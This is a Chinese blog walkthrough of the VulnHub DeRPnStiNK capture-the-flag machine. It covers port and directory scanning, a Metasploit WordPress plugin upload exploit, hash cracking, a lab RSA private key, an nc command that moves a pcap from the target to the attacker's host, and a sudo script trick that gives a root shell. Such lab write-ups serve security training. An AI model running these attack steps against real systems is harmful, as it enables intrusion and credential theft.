靶机地址:https://download.vulnhub.com/derpnstink/VulnHub2018_DeRPnStiNK.ova
靶机难度:中级(CTF)
靶机发布日期:2018 年 2 月 9日
靶机描述:Derp 先生和 Stinky 叔叔是两位正在创办自己的公司 DerpNStink 的系统管理员。他们没有聘请合格的专业人士来建立他们的 IT 环境,而是决定将他们自己的系统组装在一起,该系统几乎准备好上线......
目标:得到root权限&找到4个flag文件
作者:我是小小白
时间:2021-07-11
请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!
我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:
nmap -sP 192.168.1.0/24 -T5 参数解读: -sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping -T5: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T5
我们已经找到了目标计算机IP地址:192.168.1.15
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:
nmap -sS -sV -sC -O -T5 -Pn -p- 192.168.1.15 参数解读: -A :启用-A选项之后,Nmap将检测目标主机的下述信息 服务版本识别(-sV); 操作系统识别(-O); 脚本扫描(-sC); Traceroute(–traceroute) -sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描 -sV: 指定让Nmap进行服务版本扫描 -p-:进行全端口扫描 -Pn:禁用主机检测(-Pn)
要进一步枚举服务,也可以使用nc连接到每个端口上。例如如下枚举 ssh和http服务的方式: nc -nv 192.168.1.15 22 nc -nv 192.168.1.15 80
PORT |
SERVICE |
VERSION DETECTION |
TCP: 21 |
FTP |
vsftpd 3.0.2 |
TCP: 22 |
SSH |
OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) |
TCP: 80 |
HTTP |
Apache httpd 2.4.7 ((Ubuntu)) |
gobuster dir -u http://192.168.1.15/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent
发现存在以下几个目录: /robots.txt /weblog (Status: 301) [Size: 312] [--> http://192.168.1.15/weblog/] /php (Status: 301) [Size: 309] [--> http://192.168.1.15/php/] /css (Status: 301) [Size: 309] [--> http://192.168.1.15/css/] /js (Status: 301) [Size: 308] [--> http://192.168.1.15/js/] /javascript (Status: 301) [Size: 316] [--> http://192.168.1.15/javascript/] /temporary (Status: 301) [Size: 315] [--> http://192.168.1.15/temporary/] /server-status (Status: 403) [Size: 292]
gobuster dir -u http://192.168.1.15/weblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent
/wp-content (Status: 301) [Size: 323] [--> http://192.168.1.15/weblog/wp-content/] /wp-includes (Status: 301) [Size: 324] [--> http://192.168.1.15/weblog/wp-includes/] /wp-admin (Status: 301) [Size: 321] [--> http://192.168.1.15/weblog/wp-admin/]
在php目录下查找到存在/phpmyadmin 路径;
gobuster dir -u http://192.168.1.15/php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent
发现是使用的Wordpress CMS搭建的站点;
页面源码中发现第一个Flag1;
发现http://derpnstink.local/weblog/是采用Wordpress
搭建的;
nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等 nikto -h 192.168.1.15 -C all
扫描发现存在Apche默认文件 /icons/README
扫描发现wordpress后台登录地址:http://192.168.1.15/weblog/wp-admin/
,使用弱口令admin/admin成功登录后台;
注意:在进行以下测试之前需要先修改本地hosts文件,确保域名能够被正常解析;
api-token申请地址:https://wpvulndb.com/users/choose_plan(新版本wpscan没有添加api扫描不出来漏洞)
wpscan --url http://derpnstink.local/weblog -e --api-token token值
查找Wordpress CMS插件slideshow-gallery
的任意文件上传漏洞exploit模块;
设置一下参数
成功获取到了一个meterpreter
会话;
利用Python获取交换时shell;
在网站目录下找到了wp-config配置文件,获取到了数据的账号密码;
在数据库中查找到两个账户:
admin/$P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/(需要破解hash值) unclestinky/$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41(需要破解hash值)
这里使用获取的账户密码登录phpmyadmin,在wp_posts表里找到第二个flag2;
john /root/hash.txt --wordlist=./rockyou.txt
成功得到密码:wedgie57 。使用unclestinky/wedgie57进行登录;
此时发现账户已经是管理员权限,并找到了flag2;
在home目录下发现存在其他两个账户:
mrderp、stinky
尝试使用现有的密码登录ftp,发现使用stinky/wedgie57登录成功;
每个目录都翻看下:
在ssh目录下找了key文件(目录隐藏的比较深),通过ftp下载key.txt文件到本地;
-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAwSaN1OE76mjt64fOpAbKnFyikjz4yV8qYUxki+MjiRPqtDo4 2xba3Oo78y82svuAHBm6YScUos8dHUCTMLA+ogsmoDaJFghZEtQXugP8flgSk9cO uJzOt9ih/MPmkjzfvDL9oW2Nh1XIctVfTZ6o8ZeJI8Sxh8Eguh+dw69M+Ad0Dimn AKDPdL7z7SeWg1BJ1q/oIAtJnv7yJz2iMbZ6xOj6/ZDE/2trrrdbSyMc5CyA09/f 5xZ9f1ofSYhiCQ+dp9CTgH/JpKmdsZ21Uus8cbeGk1WpT6B+D8zoNgRxmO3/VyVB LHXaio3hmxshttdFp4bFc3foTTSyJobGoFX+ewIDAQABAoIBACESDdS2H8EZ6Cqc nRfehdBR2A/72oj3/1SbdNeys0HkJBppoZR5jE2o2Uzg95ebkiq9iPjbbSAXICAD D3CVrJOoHxvtWnloQoADynAyAIhNYhjoCIA5cPdvYwTZMeA2BgS+IkkCbeoPGPv4 ZpHuqXR8AqIaKl9ZBNZ5VVTM7fvFVl5afN5eWIZlOTDf++VSDedtR7nL2ggzacNk Q8JCK9mF62wiIHK5Zjs1lns4Ii2kPw+qObdYoaiFnexucvkMSFD7VAdfFUECQIyq YVbsp5tec2N4HdhK/B0V8D4+6u9OuoiDFqbdJJWLFQ55e6kspIWQxM/j6PRGQhL0 DeZCLQECgYEA9qUoeblEro6ICqvcrye0ram38XmxAhVIPM7g5QXh58YdB1D6sq6X VGGEaLxypnUbbDnJQ92Do0AtvqCTBx4VnoMNisce++7IyfTSygbZR8LscZQ51ciu Qkowz3yp8XMyMw+YkEV5nAw9a4puiecg79rH9WSr4A/XMwHcJ2swloECgYEAyHn7 VNG/Nrc4/yeTqfrxzDBdHm+y9nowlWL+PQim9z+j78tlWX/9P8h98gOlADEvOZvc fh1eW0gE4DDyRBeYetBytFc0kzZbcQtd7042/oPmpbW55lzKBnnXkO3BI2bgU9Br 7QTsJlcUybZ0MVwgs+Go1Xj7PRisxMSRx8mHbvsCgYBxyLulfBz9Um/cTHDgtTab L0LWucc5KMxMkTwbK92N6U2XBHrDV9wkZ2CIWPejZz8hbH83Ocfy1jbETJvHms9q cxcaQMZAf2ZOFQ3xebtfacNemn0b7RrHJibicaaM5xHvkHBXjlWN8e+b3x8jq2b8 gDfjM3A/S8+Bjogb/01JAQKBgGfUvbY9eBKHrO6B+fnEre06c1ArO/5qZLVKczD7 RTazcF3m81P6dRjO52QsPQ4vay0kK3vqDA+s6lGPKDraGbAqO+5paCKCubN/1qP1 14fUmuXijCjikAPwoRQ//5MtWiwuu2cj8Ice/PZIGD/kXk+sJXyCz2TiXcD/qh1W pF13AoGBAJG43weOx9gyy1Bo64cBtZ7iPJ9doiZ5Y6UWYNxy3/f2wZ37D99NSndz UBtPqkw0sAptqkjKeNtLCYtHNFJAnE0/uAGoAyX+SHhas0l2IYlUlk8AttcHP1kA a4Id4FlCiJAXl3/ayyrUghuWWA3jMW3JgZdMyhU3OV+wyZz25S8o -----END RSA PRIVATE KEY-----
su stinky
ssh -i key.txt [email protected]
chmod 400 key.txt
成功获取到第三个flag文件;
继续寻找flag4;
利用nc传输文件: 目标机器:nc -nv 192.168.1.7 1234 < derpissues.pcap kali: nc -lvvp 1234 > derpissues.pcap
在pcap包中获取到了账户mrderp/derpderpderpderpderpderpderp;
使用账户mrderp/derpderpderpderpderpderpderp登录成功,在桌面上查看到了一份日志文件helpdesk.log,内容如下:
提示我们访问https://pastebin.com/RzK9WfGw网站:
提示可以在靶机下运行derpy文件,但是实际上八级上不存在该目录和文件,这里我们创建个相同目录,然后创建文件,随意写入代码;
1、mkdir -p binaries 2、touch derpy.sh 3、写入文件 #!/bin/bash /bin/bash
成功提权到root;
至此,我们已经成功得到root权限&找到四个flag.txt。